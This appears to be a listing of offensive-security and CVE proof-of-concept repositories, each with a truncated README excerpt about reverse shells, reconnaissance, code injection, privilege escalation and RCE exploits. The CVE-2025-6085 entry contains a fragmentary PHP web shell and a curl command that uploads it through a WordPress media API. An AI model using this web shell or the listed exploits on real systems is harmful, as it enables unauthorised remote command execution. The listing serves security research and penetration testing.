reverse-ssh

ReverseSSH A statically-linked ssh server with a reverse connection feature for simple yet powerful remote access. Most useful during HackTheBox challenges, CTFs or similar. Has been developed and was extensively used during OSCP exam preparation. Get the latest Release Features Catching a revers...

Reconnoitre

A reconnaissance tool made for the OSCP labs to automate information gathering and service enumeration whilst creating a directory structure to store results, findings and exploits used for each host, recommended commands to execute and directory structures for storing loot and flags. Contributio...

CVE-2024-49369

CVE-2024-49369 Overview This vulnerability leverages the Icinga JSON-RPC protocol to exploit monitored nodes running Icinga agents. By impersonating a Master/Satellite instance, attackers can potentially take over agents, execute arbitrary commands, or gain sensitive information. How to Use...

cryptr

cryptr OpenSSL을 사용하여 파일을 암호화 및 복호화하는 간단한 셸 유틸리티입니다. 설치 git clone https://github.com/nodesocket/cryptr.git ln -s "$PWD"/cryptr/cryptr.bash /usr/local/bin/cryptr 요구 사항 shred 선택적으로 원본 파일을 삭제할 때 필요 Bash 탭 완성 tools/cryptr-bash-completion.bash를 탭 완성 파일 디렉터리에 추가하세요. 명령어 encrypt encrypt - OpenSSL AES-256...

Dome

DOME - A subdomain enumeration tool Check the Spanish Version Dome is a fast and reliable python script that makes active and/or passive scan to obtain subdomains and search for open ports. This tool is recommended for bug bounty hunters and pentester in their reconnaissance phase. the more surfa...

CVE-2020-15778

Write up for CVE id CVE-2020-15778. Discoverd by : Chinmay Pandya Email address : [email protected] Linkedin : www.linkedin.com/in/chinmay-pandya Vulnerability title: scp in OpenSSH 8.3p1 allows eval injection. Product: Openssh Affected Component: SCP Vulnerable version: Fixed version: - CVE...

CVE-2021-3156

CVE-2021-3156 Description Sudo before 1.9.5p2 has a Heap-based Buffer Overflow, allowing privilege escalation to root via "sudoedit -s" and a command-line argument that ends with a single backslash character...

CVE-2025-6085

Make Connector shello.php ".shellexec$GET"cmd".""; ? EOF curl -k -X POST https://lab1.hacker/wp-json/wp/v2/media \ -H "IWC-API-KEY: YOURFRIENDLYKEYHERE" \ -F "[email protected]" \ -F "title=Hacker World" \ -F "description=A test file" \ -F "caption=Hacker Caption" \ Leveraging the shell once...

CVE-2020-15999

CVE-2020-15999 Here you will all the resources in order to execute the PoC for the CVE-2020-15999 in Google Chrome and Ftview Ubuntu. There are two folders in this repository, one for each program. Google Chrome In order to reproduce the exploit you will have to install a Google Chrome version...

CVE-2018-7750

CVE-2018-7750 an RCE remote command execution approach of CVE-2018-7750 Exploit Title: Paramiko 2.4.1 - Remote Code Execution Date: 2018-11-06 Exploit Author: jm33-ng Vendor Homepage: https://www.paramiko.org Software Link: https://github.com/paramiko/paramiko/archive/2.4.0.tar.gz Version: 1.17.6...

DNCI

DNCI - Dot Net Code Injector DNCI allows the injection of .Net code .exe or .dll remotely in unmanaged processes in windows. 1. Project Structure The project is structured in: DNCI.Injector.Library - Injection library. Contains all injection components and logic; DNCI.Injector.Runner - Command...

crlfmap

CRLFMap CRLFMap is a tool to find HTTP Splitting vulnerabilities Why? I wanted to write a tool in Golang for concurrency I wanted to be able to fuzz both parameters and paths Installation go get github.com/ryandamour/crlfmap Help Available Commands: help Help about any command scan A scanner for...

ronin

ronin 웹사이트 소스 코드 이슈 문서 디스코드 | 마스토돈 설명 Roninwebsite은 보안 연구 및 개발을 위한 무료 오픈 소스 Ruby 툴킷입니다. Ronin은 다양한 보안 작업을 위한 여러 CLI 명령어와 Ruby 라이브러리ronin-rb를 포함합니다. 예를 들어 데이터 인코딩/디코딩, IP/호스트/URL 필터링, ASN 조회, DNS 조회, HTTP, 웹 취약점 스캐닝ronin-vulns-synopsis, 웹사이트 스파이더링ronin-web-spider, 서드파티 저장소 설치ronin-repos-synopsis...

sqlwinds

SQLWinds SQL Security Assessment & Post-Exploitation Toolkit SQLWinds is a command-line tool for security testing and exploiting Microsoft SQL Server. It provides an interactive environment to deeply analyze servers, escalate privileges, execute attacks, and pivot through networks all with...

Egresser

Egresser Author: [email protected] Copyright: Cyberis Limited 2013 License: GPLv3 See LICENSE Client/server scripts designed to test outbound egress firewall rules. Description Egresser is a tool to enumerate outbound firewall rules, designed for penetration testers to assess whether egress...

omigod

CVE-2021-38647: Omigod Another exploit for Omigod written quick and dirty in Go. The exploit uses and is based on: the research by wiz: https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure the SOAP payload by midoxnet: https://github.com/midoxnet/CVE-2021-38647 the Python Proof of...

netsniff-ng

////////////////////////////////////////////////////////////////////////////// netsniff-ng - the packet sniffing beast \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ . . netsniff-ng is a free, performant / Linux network analyzer and .' '. networking toolkit. If you...

CVE-2026-105110

OS Command Injection in the login.xgi CGI endpoint in Iskratel Innbox GPON ONT devices allows an unauthenticated remote attacker to execute arbitrary commands as root via the CLI parameter...

CVE-2026-42945-NGINX-Rift-Toolkit

CVE-2026-42945 Nginx Rift Vulnerability Toolkit Comprehensive toolkit for scanning, patching, and testing CVE-2026-42945 - a critical RCE vulnerability in nginx Table of Contents Overview CVE Details Features Toolkit Components Requirements Installation Usage Workflow Examples Security...

CVE-2021-22123

CVE-2021-22123 Fortinet FortiWeb Authenticated OS Command Injection Hit Counter The command injection vulnerability in the FortiWeb management interface may allow an authenticated remote attacker to execute arbitrary commands in the system via the SAML server configuration page. Executing command...